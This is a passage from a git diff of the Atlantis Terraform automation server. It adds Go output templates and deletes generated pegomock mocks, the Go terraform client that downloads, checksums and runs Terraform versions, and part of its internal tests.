/dev/null +++ b/server/events/templates/version_wrapped_success.tmpl @@ -0,0 +1,6 @@ +{{ define "versionWrappedSuccess" -}} +
Show Output + +{{ template "versionUnwrappedSuccess" . }} +
+{{ end -}} diff --git a/server/events/templates/wrapped_err.tmpl b/server/events/templates/wrapped_err.tmpl new file mode 100644 index 0000000000..625ffdea03 --- /dev/null +++ b/server/events/templates/wrapped_err.tmpl @@ -0,0 +1,12 @@ +{{ define "wrappedErr" -}} +**{{ .Command }} Error** +
Show Output + +``` +{{ .Error }} +``` +{{- if ne .RenderedContext "" }} +{{ .RenderedContext }} +{{- end }} +
+{{ end -}} diff --git a/server/events/terraform/mocks/matchers/go_getter_clientoption.go b/server/events/terraform/mocks/matchers/go_getter_clientoption.go deleted file mode 100644 index 182ba2576d..0000000000 --- a/server/events/terraform/mocks/matchers/go_getter_clientoption.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - go_getter "github.com/hashicorp/go-getter" -) - -func AnyGoGetterClientOption() go_getter.ClientOption { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(go_getter.ClientOption))(nil)).Elem())) - var nullValue go_getter.ClientOption - return nullValue -} - -func EqGoGetterClientOption(value go_getter.ClientOption) go_getter.ClientOption { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue go_getter.ClientOption - return nullValue -} diff --git a/server/events/terraform/mocks/matchers/map_of_string_to_string.go b/server/events/terraform/mocks/matchers/map_of_string_to_string.go deleted file mode 100644 index 4d969915af..0000000000 --- a/server/events/terraform/mocks/matchers/map_of_string_to_string.go +++ /dev/null @@ -1,21 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - - -) - -func AnyMapOfStringToString() map[string]string { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(map[string]string))(nil)).Elem())) - var nullValue map[string]string - return nullValue -} - -func EqMapOfStringToString(value map[string]string) map[string]string { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue map[string]string - return nullValue -} diff --git a/server/events/terraform/mocks/matchers/ptr_to_go_version_version.go b/server/events/terraform/mocks/matchers/ptr_to_go_version_version.go deleted file mode 100644 index 587598c7ad..0000000000 --- a/server/events/terraform/mocks/matchers/ptr_to_go_version_version.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - go_version "github.com/hashicorp/go-version" -) - -func AnyPtrToGoVersionVersion() *go_version.Version { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*go_version.Version))(nil)).Elem())) - var nullValue *go_version.Version - return nullValue -} - -func EqPtrToGoVersionVersion(value *go_version.Version) *go_version.Version { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *go_version.Version - return nullValue -} diff --git a/server/events/terraform/mocks/matchers/ptr_to_logging_simplelogger.go b/server/events/terraform/mocks/matchers/ptr_to_logging_simplelogger.go deleted file mode 100644 index 04c72791bc..0000000000 --- a/server/events/terraform/mocks/matchers/ptr_to_logging_simplelogger.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - logging "github.com/runatlantis/atlantis/server/logging" -) - -func AnyPtrToLoggingSimpleLogger() *logging.SimpleLogger { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*logging.SimpleLogger))(nil)).Elem())) - var nullValue *logging.SimpleLogger - return nullValue -} - -func EqPtrToLoggingSimpleLogger(value *logging.SimpleLogger) *logging.SimpleLogger { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *logging.SimpleLogger - return nullValue -} diff --git a/server/events/terraform/mocks/matchers/slice_of_string.go b/server/events/terraform/mocks/matchers/slice_of_string.go deleted file mode 100644 index 96f9b24ae2..0000000000 --- a/server/events/terraform/mocks/matchers/slice_of_string.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - -) - -func AnySliceOfString() []string { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*([]string))(nil)).Elem())) - var nullValue []string - return nullValue -} - -func EqSliceOfString(value []string) []string { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue []string - return nullValue -} diff --git a/server/events/terraform/mocks/mock_downloader.go b/server/events/terraform/mocks/mock_downloader.go deleted file mode 100644 index 30118bd7fa..0000000000 --- a/server/events/terraform/mocks/mock_downloader.go +++ /dev/null @@ -1,124 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -// Source: github.com/runatlantis/atlantis/server/events/terraform (interfaces: Downloader) - -package mocks - -import ( - go_getter "github.com/hashicorp/go-getter" - pegomock "github.com/petergtz/pegomock" - "reflect" - "time" -) - -type MockDownloader struct { - fail func(message string, callerSkip ...int) -} - -func NewMockDownloader(options ...pegomock.Option) *MockDownloader { - mock := &MockDownloader{} - for _, option := range options { - option.Apply(mock) - } - return mock -} - -func (mock *MockDownloader) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } -func (mock *MockDownloader) FailHandler() pegomock.FailHandler { return mock.fail } - -func (mock *MockDownloader) GetFile(dst string, src string, opts ...go_getter.ClientOption) error { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockDownloader().") - } - params := []pegomock.Param{dst, src} - for _, param := range opts { - params = append(params, param) - } - result := pegomock.GetGenericMockFrom(mock).Invoke("GetFile", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) - } - } - return ret0 -} - -func (mock *MockDownloader) VerifyWasCalledOnce() *VerifierMockDownloader { - return &VerifierMockDownloader{ - mock: mock, - invocationCountMatcher: pegomock.Times(1), - } -} - -func (mock *MockDownloader) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockDownloader { - return &VerifierMockDownloader{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - } -} - -func (mock *MockDownloader) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockDownloader { - return &VerifierMockDownloader{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - inOrderContext: inOrderContext, - } -} - -func (mock *MockDownloader) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockDownloader { - return &VerifierMockDownloader{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - timeout: timeout, - } -} - -type VerifierMockDownloader struct { - mock *MockDownloader - invocationCountMatcher pegomock.Matcher - inOrderContext *pegomock.InOrderContext - timeout time.Duration -} - -func (verifier *VerifierMockDownloader) GetFile(dst string, src string, opts ...go_getter.ClientOption) *MockDownloader_GetFile_OngoingVerification { - params := []pegomock.Param{dst, src} - for _, param := range opts { - params = append(params, param) - } - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetFile", params, verifier.timeout) - return &MockDownloader_GetFile_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockDownloader_GetFile_OngoingVerification struct { - mock *MockDownloader - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockDownloader_GetFile_OngoingVerification) GetCapturedArguments() (string, string, []go_getter.ClientOption) { - dst, src, opts := c.GetAllCapturedArguments() - return dst[len(dst)-1], src[len(src)-1], opts[len(opts)-1] -} - -func (c *MockDownloader_GetFile_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 [][]go_getter.ClientOption) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) - } - _param1 = make([]string, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(string) - } - _param2 = make([][]go_getter.ClientOption, len(c.methodInvocations)) - for u := 0; u < len(c.methodInvocations); u++ { - _param2[u] = make([]go_getter.ClientOption, len(params)-2) - for x := 2; x < len(params); x++ { - if params[x][u] != nil { - _param2[u][x-2] = params[x][u].(go_getter.ClientOption) - } - } - } - } - return -} diff --git a/server/events/terraform/mocks/mock_terraform_client.go b/server/events/terraform/mocks/mock_terraform_client.go deleted file mode 100644 index 329e849eb6..0000000000 --- a/server/events/terraform/mocks/mock_terraform_client.go +++ /dev/null @@ -1,176 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -// Source: github.com/runatlantis/atlantis/server/events/terraform (interfaces: Client) - -package mocks - -import ( - go_version "github.com/hashicorp/go-version" - pegomock "github.com/petergtz/pegomock" - logging "github.com/runatlantis/atlantis/server/logging" - "reflect" - "time" -) - -type MockClient struct { - fail func(message string, callerSkip ...int) -} - -func NewMockClient(options ...pegomock.Option) *MockClient { - mock := &MockClient{} - for _, option := range options { - option.Apply(mock) - } - return mock -} - -func (mock *MockClient) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } -func (mock *MockClient) FailHandler() pegomock.FailHandler { return mock.fail } - -func (mock *MockClient) RunCommandWithVersion(log *logging.SimpleLogger, path string, args []string, envs map[string]string, v *go_version.Version, workspace string) (string, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockClient().") - } - params := []pegomock.Param{log, path, args, envs, v, workspace} - result := pegomock.GetGenericMockFrom(mock).Invoke("RunCommandWithVersion", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockClient) EnsureVersion(log *logging.SimpleLogger, v *go_version.Version) error { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockClient().") - } - params := []pegomock.Param{log, v} - result := pegomock.GetGenericMockFrom(mock).Invoke("EnsureVersion", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) - } - } - return ret0 -} - -func (mock *MockClient) VerifyWasCalledOnce() *VerifierMockClient { - return &VerifierMockClient{ - mock: mock, - invocationCountMatcher: pegomock.Times(1), - } -} - -func (mock *MockClient) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockClient { - return &VerifierMockClient{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - } -} - -func (mock *MockClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockClient { - return &VerifierMockClient{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - inOrderContext: inOrderContext, - } -} - -func (mock *MockClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockClient { - return &VerifierMockClient{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - timeout: timeout, - } -} - -type VerifierMockClient struct { - mock *MockClient - invocationCountMatcher pegomock.Matcher - inOrderContext *pegomock.InOrderContext - timeout time.Duration -} - -func (verifier *VerifierMockClient) RunCommandWithVersion(log *logging.SimpleLogger, path string, args []string, envs map[string]string, v *go_version.Version, workspace string) *MockClient_RunCommandWithVersion_OngoingVerification { - params := []pegomock.Param{log, path, args, envs, v, workspace} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunCommandWithVersion", params, verifier.timeout) - return &MockClient_RunCommandWithVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockClient_RunCommandWithVersion_OngoingVerification struct { - mock *MockClient - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockClient_RunCommandWithVersion_OngoingVerification) GetCapturedArguments() (*logging.SimpleLogger, string, []string, map[string]string, *go_version.Version, string) { - log, path, args, envs, v, workspace := c.GetAllCapturedArguments() - return log[len(log)-1], path[len(path)-1], args[len(args)-1], envs[len(envs)-1], v[len(v)-1], workspace[len(workspace)-1] -} - -func (c *MockClient_RunCommandWithVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []*logging.SimpleLogger, _param1 []string, _param2 [][]string, _param3 []map[string]string, _param4 []*go_version.Version, _param5 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*logging.SimpleLogger, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*logging.SimpleLogger) - } - _param1 = make([]string, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(string) - } - _param2 = make([][]string, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.([]string) - } - _param3 = make([]map[string]string, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(map[string]string) - } - _param4 = make([]*go_version.Version, len(c.methodInvocations)) - for u, param := range params[4] { - _param4[u] = param.(*go_version.Version) - } - _param5 = make([]string, len(c.methodInvocations)) - for u, param := range params[5] { - _param5[u] = param.(string) - } - } - return -} - -func (verifier *VerifierMockClient) EnsureVersion(log *logging.SimpleLogger, v *go_version.Version) *MockClient_EnsureVersion_OngoingVerification { - params := []pegomock.Param{log, v} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "EnsureVersion", params, verifier.timeout) - return &MockClient_EnsureVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockClient_EnsureVersion_OngoingVerification struct { - mock *MockClient - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockClient_EnsureVersion_OngoingVerification) GetCapturedArguments() (*logging.SimpleLogger, *go_version.Version) { - log, v := c.GetAllCapturedArguments() - return log[len(log)-1], v[len(v)-1] -} - -func (c *MockClient_EnsureVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []*logging.SimpleLogger, _param1 []*go_version.Version) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*logging.SimpleLogger, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*logging.SimpleLogger) - } - _param1 = make([]*go_version.Version, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(*go_version.Version) - } - } - return -} diff --git a/server/events/terraform/terraform_client.go b/server/events/terraform/terraform_client.go deleted file mode 100644 index f196e7261d..0000000000 --- a/server/events/terraform/terraform_client.go +++ /dev/null @@ -1,491 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. -// -// Package terraform handles the actual running of terraform commands. -package terraform - -import ( - "bufio" - "fmt" - "io" - "io/ioutil" - "os" - "os/exec" - "path/filepath" - "regexp" - "runtime" - "strings" - "sync" - - "github.com/hashicorp/go-getter" - "github.com/hashicorp/go-version" - "github.com/mitchellh/go-homedir" - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/logging" -) - -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_terraform_client.go Client - -type Client interface { - // RunCommandWithVersion executes terraform with args in path. If v is nil, - // it will use the default Terraform version. workspace is the Terraform - // workspace which should be set as an environment variable. - RunCommandWithVersion(log *logging.SimpleLogger, path string, args []string, envs map[string]string, v *version.Version, workspace string) (string, error) - - // EnsureVersion makes sure that terraform version `v` is available to use - EnsureVersion(log *logging.SimpleLogger, v *version.Version) error -} - -type DefaultClient struct { - // defaultVersion is the default version of terraform to use if another - // version isn't specified. - defaultVersion *version.Version - terraformPluginCacheDir string - binDir string - // overrideTF can be used to override the terraform binary during testing - // with another binary, ex. echo. - overrideTF string - // downloader downloads terraform versions. - downloader Downloader - downloadBaseURL string - // versions maps from the string representation of a tf version (ex. 0.11.10) - // to the absolute path of that binary on disk (if it exists). - // Use versionsLock to control access. - versions map[string]string - - // versionsLock is used to ensure versions isn't being concurrently written to. - versionsLock *sync.Mutex - - // usePluginCache determines whether or not to set the TF_PLUGIN_CACHE_DIR env var - usePluginCache bool -} - -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_downloader.go Downloader - -// Downloader is for downloading terraform versions. -type Downloader interface { - GetFile(dst, src string, opts ...getter.ClientOption) error -} - -const ( - // terraformPluginCacheDir is the name of the dir inside our data dir - // where we tell terraform to cache plugins and modules. - terraformPluginCacheDirName = "plugin-cache" - // binDirName is the name of the directory inside our data dir where - // we download terraform binaries. - binDirName = "bin" -) - -// versionRegex extracts the version from `terraform version` output. -// Terraform v0.12.0-alpha4 (2c36829d3265661d8edbd5014de8090ea7e2a076) -// => 0.12.0-alpha4 -// -// Terraform v0.11.10 -// => 0.11.10 -var versionRegex = regexp.MustCompile("Terraform v(.*?)(\\s.*)?\n") - -// NewClient constructs a terraform client. -// tfeToken is an optional terraform enterprise token. -// defaultVersionStr is an optional default terraform version to use unless -// a specific version is set. -// defaultVersionFlagName is the name of the flag that sets the default terraform -// version. -// tfDownloader is used to download terraform versions. -// Will asynchronously download the required version if it doesn't exist already. -func NewClient( - log *logging.SimpleLogger, - dataDir string, - tfeToken string, - tfeHostname string, - defaultVersionStr string, - defaultVersionFlagName string, - tfDownloadURL string, - tfDownloader Downloader, - usePluginCache bool) (*DefaultClient, error) { - var finalDefaultVersion *version.Version - var localVersion *version.Version - versions := make(map[string]string) - var versionsLock sync.Mutex - - localPath, err := exec.LookPath("terraform") - if err != nil && defaultVersionStr == "" { - return nil, fmt.Errorf("terraform not found in $PATH. Set --%s or download terraform from https://www.terraform.io/downloads.html", defaultVersionFlagName) - } - if err == nil { - localVersion, err = getVersion(localPath) - if err != nil { - return nil, err - } - versions[localVersion.String()] = localPath - if defaultVersionStr == "" { - // If they haven't set a default version, then whatever they had - // locally is now the default. - finalDefaultVersion = localVersion - } - } - - binDir := filepath.Join(dataDir, binDirName) - if err := os.MkdirAll(binDir, 0700); err != nil { - return nil, errors.Wrapf(err, "unable to create terraform bin dir %q", binDir) - } - - if defaultVersionStr != "" { - defaultVersion, err := version.NewVersion(defaultVersionStr) - if err != nil { - return nil, err - } - finalDefaultVersion = defaultVersion - go func() { - // Since ensureVersion might end up downloading terraform, - // we call it asynchronously so as to not delay server startup. - versionsLock.Lock() - _, err := ensureVersion(log, tfDownloader, versions, defaultVersion, binDir, tfDownloadURL) - versionsLock.Unlock() - if err != nil { - log.Err("could not download terraform %s: %s", defaultVersion.String(), err) - } - }() - } - - // If tfeToken is set, we try to create a ~/.terraformrc file. - if tfeToken != "" { - home, err := homedir.Dir() - if err != nil { - return nil, errors.Wrap(err, "getting home dir to write ~/.terraformrc file") - } - if err := generateRCFile(tfeToken, tfeHostname, home); err != nil { - return nil, err - } - } - - // We will run terraform with the TF_PLUGIN_CACHE_DIR env var set to this - // directory inside our data dir. - cacheDir := filepath.Join(dataDir, terraformPluginCacheDirName) - if err := os.MkdirAll(cacheDir, 0700); err != nil { - return nil, errors.Wrapf(err, "unable to create terraform plugin cache directory at %q", terraformPluginCacheDirName) - } - - return &DefaultClient{ - defaultVersion: finalDefaultVersion, - terraformPluginCacheDir: cacheDir, - binDir: binDir, - downloader: tfDownloader, - downloadBaseURL: tfDownloadURL, - versionsLock: &versionsLock, - versions: versions, - usePluginCache: usePluginCache, - }, nil -} - -// Version returns the default version of Terraform we use if no other version -// is defined. -func (c *DefaultClient) DefaultVersion() *version.Version { - return c.defaultVersion -} - -// TerraformBinDir returns the directory where we download Terraform binaries. -func (c *DefaultClient) TerraformBinDir() string { - return c.binDir -} - -// See Client.EnsureVersion. -func (c *DefaultClient) EnsureVersion(log *logging.SimpleLogger, v *version.Version) error { - if v == nil { - v = c.defaultVersion - } - - var err error - c.versionsLock.Lock() - _, err = ensureVersion(log, c.downloader, c.versions, v, c.binDir, c.downloadBaseURL) - c.versionsLock.Unlock() - if err != nil { - return err - } - - return nil -} - -// See Client.RunCommandWithVersion. -func (c *DefaultClient) RunCommandWithVersion(log *logging.SimpleLogger, path string, args []string, customEnvVars map[string]string, v *version.Version, workspace string) (string, error) { - tfCmd, cmd, err := c.prepCmd(log, v, workspace, path, args) - if err != nil { - return "", err - } - envVars := cmd.Env - for key, val := range customEnvVars { - envVars = append(envVars, fmt.Sprintf("%s=%s", key, val)) - } - cmd.Env = envVars - out, err := cmd.CombinedOutput() - if err != nil { - err = errors.Wrapf(err, "running %q in %q", tfCmd, path) - log.Err(err.Error()) - return string(out), err - } - log.Info("successfully ran %q in %q", tfCmd, path) - return string(out), nil -} - -// prepCmd builds a ready to execute command based on the version of terraform -// v, and args. It returns a printable representation of the command that will -// be run and the actual command. -func (c *DefaultClient) prepCmd(log *logging.SimpleLogger, v *version.Version, workspace string, path string, args []string) (string, *exec.Cmd, error) { - if v == nil { - v = c.defaultVersion - } - - var binPath string - if c.overrideTF != "" { - // This is only set during testing. - binPath = c.overrideTF - } else { - var err error - c.versionsLock.Lock() - binPath, err = ensureVersion(log, c.downloader, c.versions, v, c.binDir, c.downloadBaseURL) - c.versionsLock.Unlock() - if err != nil { - return "", nil, err - } - } - - // We add custom variables so that if `extra_args` is specified with env - // vars then they'll be substituted. - envVars := []string{ - // Will de-emphasize specific commands to run in output. - "TF_IN_AUTOMATION=true", - // Cache plugins so terraform init runs faster. - fmt.Sprintf("WORKSPACE=%s", workspace), - fmt.Sprintf("ATLANTIS_TERRAFORM_VERSION=%s", v.String()), - fmt.Sprintf("DIR=%s", path), - } - if c.usePluginCache { - envVars = append(envVars, fmt.Sprintf("TF_PLUGIN_CACHE_DIR=%s", c.terraformPluginCacheDir)) - } - // Append current Atlantis process's environment variables, ex. - // AWS_ACCESS_KEY. - envVars = append(envVars, os.Environ()...) - tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " ")) - cmd := exec.Command("sh", "-c", tfCmd) - cmd.Dir = path - cmd.Env = envVars - return tfCmd, cmd, nil -} - -// Line represents a line that was output from a terraform command. -type Line struct { - // Line is the contents of the line (without the newline). - Line string - // Err is set if there was an error. - Err error -} - -// RunCommandAsync runs terraform with args. It immediately returns an -// input and output channel. Callers can use the output channel to -// get the realtime output from the command. -// Callers can use the input channel to pass stdin input to the command. -// If any error is passed on the out channel, there will be no -// further output (so callers are free to exit). -func (c *DefaultClient) RunCommandAsync(log *logging.SimpleLogger, path string, args []string, customEnvVars map[string]string, v *version.Version, workspace string) (chan<- string, <-chan Line) { - outCh := make(chan Line) - inCh := make(chan string) - - // We start a goroutine to do our work asynchronously and then immediately - // return our channels. - go func() { - - // Ensure we close our channels when we exit. - defer func() { - close(outCh) - close(inCh) - }() - - tfCmd, cmd, err := c.prepCmd(log, v, workspace, path, args) - if err != nil { - log.Err(err.Error()) - outCh <- Line{Err: err} - return - } - stdout, _ := cmd.StdoutPipe() - stderr, _ := cmd.StderrPipe() - stdin, _ := cmd.StdinPipe() - envVars := cmd.Env - for key, val := range customEnvVars { - envVars = append(envVars, fmt.Sprintf("%s=%s", key, val)) - } - cmd.Env = envVars - - log.Debug("starting %q in %q", tfCmd, path) - err = cmd.Start() - if err != nil { - err = errors.Wrapf(err, "running %q in %q", tfCmd, path) - log.Err(err.Error()) - outCh <- Line{Err: err} - return - } - - // If we get anything on inCh, write it to stdin. - // This function will exit when inCh is closed which we do in our defer. - go func() { - for line := range inCh { - log.Debug("writing %q to remote command's stdin", line) - _, err := io.WriteString(stdin, line) - if err != nil { - log.Err(errors.Wrapf(err, "writing %q to process", line).Error()) - } - } - }() - - // Use a waitgroup to block until our stdout/err copying is complete. - wg := new(sync.WaitGroup) - wg.Add(2) - - // Asynchronously copy from stdout/err to outCh. - go func() { - s := bufio.NewScanner(stdout) - for s.Scan() { - outCh <- Line{Line: s.Text()} - } - wg.Done() - }() - go func() { - s := bufio.NewScanner(stderr) - for s.Scan() { - outCh <- Line{Line: s.Text()} - } - wg.Done() - }() - - // Wait for our copying to complete. This *must* be done before - // calling cmd.Wait(). (see https://github.com/golang/go/issues/19685) - wg.Wait() - - // Wait for the command to complete. - err = cmd.Wait() - - // We're done now. Send an error if there was one. - if err != nil { - err = errors.Wrapf(err, "running %q in %q", tfCmd, path) - log.Err(err.Error()) - outCh <- Line{Err: err} - } else { - log.Info("successfully ran %q in %q", tfCmd, path) - } - }() - - return inCh, outCh -} - -// MustConstraint will parse one or more constraints from the given -// constraint string. The string must be a comma-separated list of -// constraints. It panics if there is an error. -func MustConstraint(v string) version.Constraints { - c, err := version.NewConstraint(v) - if err != nil { - panic(err) - } - return c -} - -// ensureVersion returns the path to a terraform binary of version v. -// It will download this version if we don't have it. -func ensureVersion(log *logging.SimpleLogger, dl Downloader, versions map[string]string, v *version.Version, binDir string, downloadURL string) (string, error) { - if binPath, ok := versions[v.String()]; ok { - return binPath, nil - } - - // This tf version might not yet be in the versions map even though it - // exists on disk. This would happen if users have manually added - // terraform{version} binaries. In this case we don't want to re-download. - binFile := "terraform" + v.String() - if binPath, err := exec.LookPath(binFile); err == nil { - versions[v.String()] = binPath - return binPath, nil - } - - // The version might also not be in the versions map if it's in our bin dir. - // This could happen if Atlantis was restarted without losing its disk. - dest := filepath.Join(binDir, binFile) - if _, err := os.Stat(dest); err == nil { - versions[v.String()] = dest - return dest, nil - } - log.Info("could not find terraform version %s in PATH or %s, downloading from %s", v.String(), binDir, downloadURL) - urlPrefix := fmt.Sprintf("%s/terraform/%s/terraform_%s", downloadURL, v.String(), v.String()) - binURL := fmt.Sprintf("%s_%s_%s.zip", urlPrefix, runtime.GOOS, runtime.GOARCH) - checksumURL := fmt.Sprintf("%s_SHA256SUMS", urlPrefix) - fullSrcURL := fmt.Sprintf("%s?checksum=file:%s", binURL, checksumURL) - if err := dl.GetFile(dest, fullSrcURL); err != nil { - return "", errors.Wrapf(err, "downloading terraform version %s at %q", v.String(), fullSrcURL) - } - - log.Info("downloaded terraform %s to %s", v.String(), dest) - versions[v.String()] = dest - return dest, nil -} - -// generateRCFile generates a .terraformrc file containing config for tfeToken -// and hostname tfeHostname. -// It will create the file in home/.terraformrc. -func generateRCFile(tfeToken string, tfeHostname string, home string) error { - const rcFilename = ".terraformrc" - rcFile := filepath.Join(home, rcFilename) - config := fmt.Sprintf(rcFileContents, tfeHostname, tfeToken) - - // If there is already a .terraformrc file and its contents aren't exactly - // what we would have written to it, then we error out because we don't - // want to overwrite anything. - if _, err := os.Stat(rcFile); err == nil { - currContents, err := ioutil.ReadFile(rcFile) // nolint: gosec - if err != nil { - return errors.Wrapf(err, "trying to read %s to ensure we're not overwriting it", rcFile) - } - if config != string(currContents) { - return fmt.Errorf("can't write TFE token to %s because that file has contents that would be overwritten", rcFile) - } - // Otherwise we don't need to write the file because it already has - // what we need. - return nil - } - - if err := ioutil.WriteFile(rcFile, []byte(config), 0600); err != nil { - return errors.Wrapf(err, "writing generated %s file with TFE token to %s", rcFilename, rcFile) - } - return nil -} - -func getVersion(tfBinary string) (*version.Version, error) { - versionOutBytes, err := exec.Command(tfBinary, "version").Output() // #nosec - versionOutput := string(versionOutBytes) - if err != nil { - return nil, errors.Wrapf(err, "running terraform version: %s", versionOutput) - } - match := versionRegex.FindStringSubmatch(versionOutput) - if len(match) <= 1 { - return nil, fmt.Errorf("could not parse terraform version from %s", versionOutput) - } - return version.NewVersion(match[1]) -} - -// rcFileContents is a format string to be used with Sprintf that can be used -// to generate the contents of a ~/.terraformrc file for authenticating with -// Terraform Enterprise. -var rcFileContents = `credentials "%s" { - token = %q -}` - -type DefaultDownloader struct{} - -// See go-getter.GetFile. -func (d *DefaultDownloader) GetFile(dst, src string, opts ...getter.ClientOption) error { - return getter.GetFile(dst, src, opts...) -} diff --git a/server/events/terraform/terraform_client_internal_test.go b/server/events/terraform/terraform_client_internal_test.go deleted file mode 100644 index b2504f6509..0000000000 --- a/server/events/terraform/terraform_client_internal_test.go +++ /dev/null @@ -1,258 +0,0 @@ -package terraform - -import ( - "fmt" - "io/ioutil" - "os" - "path/filepath" - "strings" - "testing" - - version "github.com/hashicorp/go-version" - "github.com/runatlantis/atlantis/server/logging" - . "github.com/runatlantis/atlantis/testing" -) - -// Test that we write the file as expected -func TestGenerateRCFile_WritesFile(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - err := generateRCFile("token", "hostname", tmp) - Ok(t, err) - - expContents := `credentials "hostname" { - token = "token" -}` - actContents, err := ioutil.ReadFile(filepath.Join(tmp, ".terraformrc")) - Ok(t, err) - Equals(t, expContents, string(actContents)) -} - -// Test that if the file already exists and its contents will be modified if -// we write our config that we error out. -func TestGenerateRCFile_WillNotOverwrite(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - rcFile := filepath.Join(tmp, ".terraformrc") - err := ioutil.WriteFile(rcFile, []byte("contents"), 0600) - Ok(t, err) - - actErr := generateRCFile("token", "hostname", tmp) - expErr := fmt.Sprintf("can't write TFE token to %s because that file has contents that would be overwritten", tmp+"/.terraformrc") - ErrEquals(t, expErr, actErr) -} - -// Test that if the file already exists and 